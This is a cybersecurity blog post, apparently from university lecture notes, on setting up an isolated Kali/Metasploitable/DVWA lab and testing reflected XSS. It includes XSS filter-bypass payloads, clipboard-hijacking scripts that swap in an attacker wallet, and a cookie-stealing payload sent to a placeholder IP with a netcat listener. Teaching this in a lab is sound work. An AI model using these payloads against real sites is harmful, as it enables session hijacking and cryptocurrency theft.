Niklas Heringer - Cybersecurity Blog

Basic Introduction to Penetration Testing – some basics & reflected XSS (Session 1 - Part 1)

🧠 Introduction

This post covers Part 1 of my first penetration testing lecture at university.
We’ll walk through how to set up your own isolated pentesting lab using Kali Linux, Metasploitable 2, and DVWA (Damn Vulnerable Web App), all safely contained within a virtual environment.

This isn’t just a technical write-up — it’s the actual process I went through, including what worked, what didn’t, and what to double-check before you start poking around with exploits.


🧪 Lab Setup

To build our lab environment, we used:

📝 I already had Kali set up as a VM, and downloaded Metasploitable from VulnHub. The .vmdk file (virtual disk) isn’t directly bootable — you’ll need to create or import a VM that uses it via a .vmx file.


🌐 Network Configuration – What You Must Get Right

❌ Rule #1: Don’t Expose Metasploitable to the Internet

Metasploitable is intentionally riddled with vulnerabilities. If it’s visible to your home network or the open internet, it’s an active security risk. There are even automated tools scanning for it online.

Instead, isolate it inside a host-only or private NAT network.

🔧 VMware Networking Modes Explained:

Mode Internet Can talk to Kali? Visible to your LAN? Use case
Host-only ❌ No ✅ Yes ❌ No ✅ Best for safe labs
NAT ✅ Yes ✅ Yes (same NAT) ❌ No ⚠️ Only for Kali internet
Bridged ✅ Yes ✅ Yes ✅ Yes (LAN exposed) ❌ Dangerous for testing

💡 Recommended Setup:

Kali VM:

Metasploitable VM:

(Only one NIC is really needed here, unless you’re experimenting with routing later.)

But what is NIC really and why are there two to begin with?

Having two NICs (Network Interface Cards) in Kali allows it to act as a bridge between the isolated lab environment and the internet — one interface handles safe internal traffic (Host-only), while the other provides external access (NAT) for updates, tools, or exploit downloads.

This way, Kali can scan and interact with Metasploitable, but Metasploitable stays locked inside your lab, with zero exposure to the outside.


🚀 Starting Metasploitable

Once your VM is imported and your network config is correct:

  1. Boot Metasploitable
  2. Login with default credentials:
username: msfadmin 
password: msfadmin
  1. Check its IP with:
ifconfig

or (on newer distros):

ip a

You should see something like 192.168.56.x (if you’re using host-only).

💡 Mini Excursus – ipconfig vs ifconfig vs ip
I confused ipconfig with ifconfig — easy mistake:
🪟 ipconfig is for Windows.
🐧 ifconfig is the classic Linux command, but it’s now considered outdated.
✅ Modern Linux systems use ip, like ip a for listing interfaces.
Worth remembering early.

🌐 Accessing DVWA from Kali

Now, go to your Kali browser and enter Metasploitable’s IP, like this: http://192.168.56.101/ If everything’s working, you should land on the starting screen where you can now select DVWA.

🧠 Wait… Why Do All These Lab IPs Look Like 192.168.x.x?

If you’ve ever set up a local network or looked at your home router, you’ve probably seen IP addresses like:

192.168.0.1
192.168.56.101

These aren’t random — they’re part of the private IP address ranges reserved by the Internet Engineering Task Force (IETF) . The three most common ones are:

192.168.0.0/16
172.16.0.0/12
10.0.0.0/8

Devices in these ranges can’t be reached directly from the internet — they’re designed for internal networks only.

That’s why Kali and Metasploitable show IPs like 192.168.56.101 — they live inside a virtual local network your hypervisor (VMware, VirtualBox) creates.

🔒 Bottom line: If you see an IP starting with 192.168, you’re in your own little hacker playground. The world can’t see in — and (for now) you can’t break out. 😈

I’m going to trust you in finding out the login credentials for DVWA :D very basic combination.

Once logged in, go to the DVWA Security settings and set it to Low to begin experimenting.


🔍 What Is XSS, Actually?

Cross-Site Scripting (XSS) is when untrusted user input gets “unsafely interpolated” into a web page — without proper escaping or validation — and then executed by the victim’s browser.

This allows an attacker to inject HTML, JavaScript, or other browser-parsed content.

🧪 Classic Examples:

<meta http-equiv="refresh" content="3; url=http://example.com">
<script>alert("XSS")</script>

The impact depends on where and how the input is reflected:

Type Description Persistence
Reflected Injected via request, reflected immediately in the response 🔄 One-time, per request
Stored Payload is saved on the server and executed for all users ♾ Persistent

🧰 Testing Reflected XSS in DVWA

We used the Damn Vulnerable Web App (DVWA) and Burp Suite to explore this vulnerability.

Start with the “Low” security level and try:

<script>alert("hi")</script>

💥 Success — the payload is reflected and executed instantly.

💡 How do you know it’s reflected and not stored?
If you refresh the page or make a second request and the payload is gone, it’s reflected.
Stored XSS would persist across requests or reloads.


🧠 Mini Excursus: Crypto Stealers & Copy-Paste Traps

You might think XSS is mostly alert boxes and harmless popups — but it’s far from a joke in the real world.

One clever — and sadly common — use case is stealing cryptocurrency through copy-paste manipulation.

🪙 How it works

Many users copy their wallet address (from an exchange or wallet app), then paste it into a form, payment screen, or transfer box.

A malicious website or browser extension, using injected JavaScript, can detect this action and silently replace the clipboard content with the attacker’s own wallet address.

Example:

<input type="text" onpaste="setTimeout(() => this.value = 'attacker_wallet_address', 1)">

Or even more subtle:

document.addEventListener("paste", function(e) {
  e.preventDefault();
  const clipboard = e.clipboardData || window.clipboardData;
  const original = clipboard.getData('text');
  
  if (original.startsWith('bc1') || original.length > 30) {
    e.target.value = 'attacker_wallet_address';
  }
});

This replaces the address as soon as it’s pasted — often without the user noticing, especially if it’s visually similar.

🧠 The JS Clipboard API

The modern Clipboard API even allows direct access to read or write clipboard content:

navigator.clipboard.readText().then(text => {
  if (text.includes("eth") || text.startsWith("1") || text.length > 25) {
    navigator.clipboard.writeText("attacker_wallet_address");
  }
});

This means malicious scripts can replace the clipboard value in the background, outside of input fields.

💡 Modern browsers restrict this API to trusted user interactions (like clicking a button), but poorly coded extensions or misconfigured CSPs can be exploited.


🎯 Why this matters

This is a real-world example of client-side JavaScript being used for financial theft.

Crypto transactions are irreversible — if a wallet address is changed without detection, the funds are gone. No chargebacks, no refunds.

This kind of attack is often part of:


✅ Takeaway for Pentesters

If you’re testing crypto-related apps, don’t stop at just finding an XSS point — ask:

Even the smallest reflected XSS, when combined with a clipboard trap, could lead to wallet hijacking.


🔗 Bonus: Try It Yourself

Want to test clipboard behavior?

Create a basic HTML page like this:

<button onclick="navigator.clipboard.writeText('LOL_HACKED')">Click Me</button>
<input placeholder="Try pasting here">

Now copy something else, click the button, and paste.
This is how simple it can be if the API is not secured properly.

Client-side security isn’t just about preventing <script>alert(1)</script> — it’s about protecting user interaction itself. And in crypto, that’s where the money is.


Let me know if you want a second section on how to defend against this (like strict CSPs, input integrity checks, or trusted device verification)!

🔐 From Low to Medium: Bypassing Filters

In “Medium” security mode, DVWA introduces some basic filters — usually blocking <script> tags.. or does it?

Try alternative payloads like:

<img src=x onerror=alert(1)>

Or use mixed casing and tag obfuscation:

<sCrIpT>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr<script>ipt>

✅ Still works — the filter doesn’t sanitize attributes like onerror, neither does it really sanitize script tags - it just searches for <script> once and deletes it .


📎 Helpful Resources

Here are some pages I found useful for learning XSS techniques and escaping detection:

📌 Idea: I’m planning to create a dedicated Tools & Resources page on my blog soon — to track cheat sheets, labs, and scripts I find useful - Should be helpful right?


🧠 Mini Excursus: Reload vs Resubmit vs “Hitting Enter”

Another thing that came up in class — and it’s surprisingly important in pentesting:

Hitting “Reload” in your browser ≠ pressing Enter in the URL bar, and both are not the same as resubmitting a POST request.

Action What It Does Notes
🔄 Reload Resends the last request Typically a GET, unless it follows a POST, in which case you’ll get a warning
🔁 Resubmit (POST) Happens after form submission Browser asks: “Resend this data?” — because it’s not idempotent
💡 Enter in URL bar Re-parses and sends a fresh request Often drops headers or cookies depending on the browser/context

🧠 Browser note:
Chrome and Firefox sometimes behave differently when it comes to referrer headers, cache, and re-parsing URLs — so a reflected XSS payload might trigger on Reload but not when you just hit Enter again in the address bar.

This matters for testing reflected XSS and verifying payload persistence — what feels like a “reload” might actually be a slightly different flow under the hood.


💣 XSS, But Make It Creative

Now that we’ve covered the basics of reflected XSS, it’s time to step up and look at how payloads are actually delivered, disguised, and abused. It’s not always just a <script>alert(1)</script> — sometimes it’s more subtle, sometimes it’s beautifully chaotic.


🎭 Obfuscation & Alternative Execution Vectors

✅ Beyond <script>

On DVWA “Medium” security, the standard <script> tag often gets blocked. But browsers still parse and execute code from less obvious vectors.

🧪 Examples that still work:

<img src="x" onerror="alert(1)">
<sCrIpT>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr<script>ipt>
<body onload="alert('XSS via body load')">
<div onclick="alert('clicked!')">Click me</div>

Event handlers like onclick, onmouseover, onload, and onerror are often overlooked — but very effective in reflected XSS.


💬 Bonus Trick: Browser Functions like print()

Sometimes script tags are filtered, but other global functions are not. Try:

<button onclick="print()">Print me!</button>

You’d be surprised how many filters don’t catch this — especially if you wrap it in an obfuscated DOM element.


Say you want to steal someone’s cookies via XSS. You’d need:

  1. A payload that reads document.cookie
  2. A way to send it to your own server
  3. A listener to catch incoming requests

🧱 JavaScript Payload:

const url = 'http://<YOUR_IP>:8000/?=' + document.cookie;
let el = document.createElement('img');
el.src = url;
document.body.append(el);

This silently creates an image element that makes a GET request to your server, with the victim’s cookies included in the query string.

🧏 Listener Setup (HTTP-style “Catch Server”):

On your Kali machine:

nc -nlvp 8000

This sets up a simple TCP listener on port 8000 to catch the incoming request — you’ll see something like:

GET /?=SESSIONID1234567890 HTTP/1.1

⚠️ This is not a reverse shell — you’re not getting a terminal, just the HTTP request containing the stolen data.

💡 Try triggering this via a reflected payload like:

http://victim.site/page?search=<your_encoded_payload>

Or wrap it into a disguised clickable link, image, or script injection depending on context.


🔐 Bonus: Tools like python3 -m http.server or simple Flask scripts can give you more structured logging and easier testing if you’re collecting multiple requests.


Let me know if you’d like to add a follow-up explaining how this cookie could then be used (e.g., for session hijacking) — will make a killer follow-up to this one!

🧠 Quick Tips

🔓 Client-Side Length Restrictions

Input field won’t let you type more than 20 characters?
That’s only a client-side restriction. You can bypass it easily with Burp Suite or by directly editing the request.

🛠 Modify the POST/GET parameters and inject a full-length payload anyway.


💬 JS String Quotes: '' vs ""

Both work. The difference is mostly style, except when you’re dealing with nesting.

Example:

onclick="alert('XSS here')"
onclick='alert("Still works")'

Escape as needed — but mixing helps avoid filter detection or quoting issues.


📚 Trusted Sources

If you’re learning XSS and browser-side JS payloads, these are must-bookmark:


✅ Wrapping Up

This wraps up my intro into web exploitation with XSS.
Reflected XSS is only the tip of the iceberg — but understanding these building blocks is essential before getting into CSP bypasses, DOM-based vectors, or chained client-server attacks.

Stay curious, keep poking things, and always read the source.

💬 (hopefully) coming soon: A dedicated Tools page and a deeper look at DOM-based XSS.